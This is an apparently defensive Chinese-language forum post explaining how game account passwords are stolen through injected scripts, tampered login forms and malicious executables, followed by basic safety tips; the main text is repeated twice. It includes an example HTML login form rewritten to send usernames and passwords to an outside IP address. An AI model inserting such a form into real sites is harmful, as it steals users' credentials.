原本在下不怎麼想po這篇, 因為在下覺得這算是瀏覽網路世界的安全基本常識, 但有些人似乎這方面知識不足, 導致遊戲帳號被盜, 所以乾脆就整理一篇po出來分享, 能看懂得話只能算是對底層知識有一些基本的認識
---------------------------------------------------------------------------------------------
遊戲帳密被盜的幾種途徑：
在說明以下盜取途徑之前, 讀者必須先有以下動態網頁的運行常識
一般網路上所謂動態網頁的動態效果 絕大多數都是由用戶端
電腦來執行伺服器端送出的網路程式碼所產生的效果, 而那些程式碼也有可能
是惡意的, 有了以上觀念, 就能歸類出以下幾點盜取用戶端帳密的途徑
1.
連上遊戲網頁且該網頁已被惡意嵌入需在用戶端執行的程式碼
(如: Java、JavaScript、VBScript、JScript), 接著當使用者對網站伺服器發出
對該網頁的讀取要求, 伺服器就會連帶送出html標籤和那些需在用戶端執行的程式
碼給使用者的系統執行, 而那些惡意程式碼在瀏覽器收到之後就會直譯執行,
且在關閉網頁後惡意程式碼依然在電腦中執行,所以當使用者連上遊戲並輸入
帳密之後, 帳密資料就透過那些惡意程式碼經由網路送到駭客電腦中。
2.
網頁原始碼直接遭到竄改, 通常被竄改的地方都是要使用者輸入帳號密碼的網頁
考慮以下html表單標籤
例如:
網頁原本的原始碼是
<form action="process.php" method="POST">
帳號:<input type="text" name="id" size=30><br>
密碼:<input type="password" name="pass" size=30><br>
<input type="submit" value="送出資料">
</form>
效果：當使用者在表單中輸入帳號和密碼之後並按"送出資料"的按鈕送出
表單中輸入的資料, 資料就會送到網站伺服器中的"process.php"來執行
接著只要將他竄改成
<form action="http://140.235.123.123/process.php" method="POST">
帳號:<input type="text" name="id" size=30><br>
密碼:<input type="password" name="pass" size=30><br>
<input type="submit" value="送出資料">
</form>
效果：使用者輸入的資料就會改送到駭客的電腦中而非送到原本網站伺服器的網頁
3.
根據第2點, 這次不竄改原始碼反而是在原始碼中加一些額外的程式碼(往往透過
用戶端的瀏覽器來觀看網頁原始碼也查看不到, 程式碼有可能是在伺服器端執行,
也可能是在用戶端執行), 以達成當使用者在網頁中按"送出資料"的按鈕時送出
兩份使用者輸入的資料到不同的目的地,一個是正確的目的地, 另一個則是到駭
客的電腦中。
4.
下載.exe.....等不明檔案到電腦中執行, 造成自己系統將
送出的網路封包透過網路洩漏給駭客知道。
總結安全法則：
1.不下載不明檔案在電腦中執行(最根本)
2.改用火狐瀏覽器並安裝"No Script"的extension套件, 不讓瀏覽器下載或執行那些須在用戶端電腦執行的程式碼。
3.瞭解最基本的html表單標籤、CSS的語法或者其他網路語言, 以辨識問題在哪。
---------------------------------------------------------------------------------------------
遊戲帳密被盜的幾種途徑：
在說明以下盜取途徑之前, 讀者必須先有以下動態網頁的運行常識
一般網路上所謂動態網頁的動態效果 絕大多數都是由用戶端
電腦來執行伺服器端送出的網路程式碼所產生的效果, 而那些程式碼也有可能
是惡意的, 有了以上觀念, 就能歸類出以下幾點盜取用戶端帳密的途徑
1.
連上遊戲網頁且該網頁已被惡意嵌入需在用戶端執行的程式碼
(如: Java、JavaScript、VBScript、JScript), 接著當使用者對網站伺服器發出
對該網頁的讀取要求, 伺服器就會連帶送出html標籤和那些需在用戶端執行的程式
碼給使用者的系統執行, 而那些惡意程式碼在瀏覽器收到之後就會直譯執行,
且在關閉網頁後惡意程式碼依然在電腦中執行,所以當使用者連上遊戲並輸入
帳密之後, 帳密資料就透過那些惡意程式碼經由網路送到駭客電腦中。
2.
網頁原始碼直接遭到竄改, 通常被竄改的地方都是要使用者輸入帳號密碼的網頁
考慮以下html表單標籤
例如:
網頁原本的原始碼是
<form action="process.php" method="POST">
帳號:<input type="text" name="id" size=30><br>
密碼:<input type="password" name="pass" size=30><br>
<input type="submit" value="送出資料">
</form>
效果：當使用者在表單中輸入帳號和密碼之後並按"送出資料"的按鈕送出
表單中輸入的資料, 資料就會送到網站伺服器中的"process.php"來執行
接著只要將他竄改成
<form action="http://140.235.123.123/process.php" method="POST">
帳號:<input type="text" name="id" size=30><br>
密碼:<input type="password" name="pass" size=30><br>
<input type="submit" value="送出資料">
</form>
效果：使用者輸入的資料就會改送到駭客的電腦中而非送到原本網站伺服器的網頁
3.
根據第2點, 這次不竄改原始碼反而是在原始碼中加一些額外的程式碼(往往透過
用戶端的瀏覽器來觀看網頁原始碼也查看不到, 程式碼有可能是在伺服器端執行,
也可能是在用戶端執行), 以達成當使用者在網頁中按"送出資料"的按鈕時送出
兩份使用者輸入的資料到不同的目的地,一個是正確的目的地, 另一個則是到駭
客的電腦中。
4.
下載.exe.....等不明檔案到電腦中執行, 造成自己系統將
送出的網路封包透過網路洩漏給駭客知道。
總結安全法則：
1.不下載不明檔案在電腦中執行(最根本)
2.改用火狐瀏覽器並安裝"No Script"的extension套件, 不讓瀏覽器下載或執行那些須在用戶端電腦執行的程式碼。
3.瞭解最基本的html表單標籤、CSS的語法或者其他網路語言, 以辨識問題在哪。
樓)
